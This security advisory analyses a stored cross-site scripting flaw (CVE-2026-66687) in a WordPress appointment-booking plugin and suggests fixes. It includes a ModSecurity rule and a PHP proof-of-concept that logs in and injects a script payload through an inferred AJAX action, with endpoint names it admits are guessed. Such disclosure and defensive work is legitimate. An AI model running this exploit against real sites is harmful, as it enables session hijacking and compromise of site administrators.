Atomic Edge analysis of CVE-2026-66687 (metadata-based): The Appointment Booking Plugin for WooCommerce | Online Booking Calendar & Service Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 1.3.2. The vulnerability requires authentication with customer-level access or higher. An attacker can inject arbitrary JavaScript into pages that will execute when other users view the injected content. The CVSS score is 6.4, and the scope is changed, indicating that exploitation can affect components beyond the vulnerable plugin.
Root Cause: The root cause is improper neutralization of user-supplied input during web page generation, classified as CWE-79. The plugin fails to sanitize input on save and/or escape output when rendering booking-related data. Atomic Edge analysis infers the vulnerable code patterns from the CWE and description: likely missing or insufficient use of WordPress sanitization functions (e.g., sanitize_text_field, wp_kses) on fields such as booking notes, customer names, or service descriptions submitted via the booking form, and missing escaping (e.g., esc_html, esc_attr) when displaying these values in admin or front-end pages. These conclusions are inferred, not confirmed from source code, because no vulnerable or patched plugin files were available for diffing.
Exploitation: An authenticated attacker with customer-level access submits a crafted request to a plugin endpoint that handles booking creation or updates. The exact endpoint and parameter names are inferred from WordPress plugin conventions. Typical attack vectors include the admin-ajax.php action service_booking_manager_save_booking or a REST route under /wp-json/service-booking-manager/v1/bookings. The attacker injects a script payload (e.g., alert(document.cookie) or an event handler like
) into a field that is later rendered without escaping, such as a booking note or customer name. When an administrator or other privileged user views the booking list or detail page, the script executes in their browser. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates network-based, low-complexity exploitation with low privileges, no user interaction required from the victim beyond viewing the page, and limited confidentiality and integrity impact.
Remediation: The fix likely requires adding proper input sanitization on the server side when saving booking data, using WordPress functions like sanitize_text_field, sanitize_textarea_field, or wp_kses with a restricted set of allowed HTML tags. Output escaping must be applied at the point of rendering, using esc_html, esc_attr, or wp_kses_post as appropriate for the context. The patch should also enforce capability checks and nonce verification on the vulnerable endpoints. Atomic Edge research infers these remediation steps from the CWE and vulnerability class, as the actual patch was not reviewed.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users’ browsers, including administrators. This can lead to session hijacking, theft of sensitive data (e.g., cookies, nonces), privilege escalation by performing actions as the victim, and potentially full site compromise if an administrator is targeted. The scope change in the CVSS vector indicates that the vulnerable component affects other components, increasing the potential severity. The limited confidentiality and integrity impact aligns with the typical consequences of stored XSS.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-66687 (metadata-based)
# This rule targets the inferred AJAX action for saving bookings and detects XSS payloads in common booking fields.
# The action name and parameter are inferred from the plugin slug and vulnerability type.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266687,phase:2,deny,status:403,chain,msg:'CVE-2026-66687 via service-booking-manager AJAX XSS',severity:'CRITICAL',tag:'CVE-2026-66687'"
SecRule ARGS_POST:action "@streq service_booking_manager_save_booking" "chain"
SecRule ARGS_POST:booking_note "@detectXSS" "t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-66687 - Appointment Booking Plugin for WooCommerce | Online Booking Calendar & Service Manager <= 1.3.2 - Authenticated (Customer+) Stored Cross-Site Scripting
// This PoC assumes the attacker has a valid customer-level account on the WordPress site.
// The exact AJAX action and parameter names are inferred from the plugin slug and common WordPress patterns.
// Adjust the $action and $param values if the plugin uses different naming.
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$username = 'customer'; // Customer-level username
$password = 'password'; // Customer-level password
// Payload: JavaScript to steal cookies (for demonstration, use a benign alert in real tests)
$payload = '<script>alert(document.cookie)</script>';
// Step 1: Authenticate and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if ($response === false) {
die('Login failed: ' . curl_error($ch));
}
// Step 2: Submit a booking with the XSS payload in a vulnerable field.
// The action name is guessed as 'service_booking_manager_save_booking' based on plugin slug.
// The parameter 'booking_note' is a likely field that is stored and displayed without escaping.
$action = 'service_booking_manager_save_booking';
$param = 'booking_note';
$post_data = [
'action' => $action,
$param => $payload,
// Additional required fields may be needed; these are placeholders.
'service_id' => '1',
'booking_date' => '2026-01-01',
'booking_time' => '10:00',
'customer_name' => 'Test User',
'customer_email' => 'test@example.com'
];
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch2, CURLOPT_POST, true);
curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch2, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
$response2 = curl_exec($ch2);
if ($response2 === false) {
die('Exploit request failed: ' . curl_error($ch2));
}
// Step 3: Verify by checking if the payload appears in the response or by accessing the booking page as an admin.
// This step is left to the tester.
echo "Exploit sent. Check if the payload is stored and executed when viewing the booking.n";
curl_close($ch);
curl_close($ch2);
?>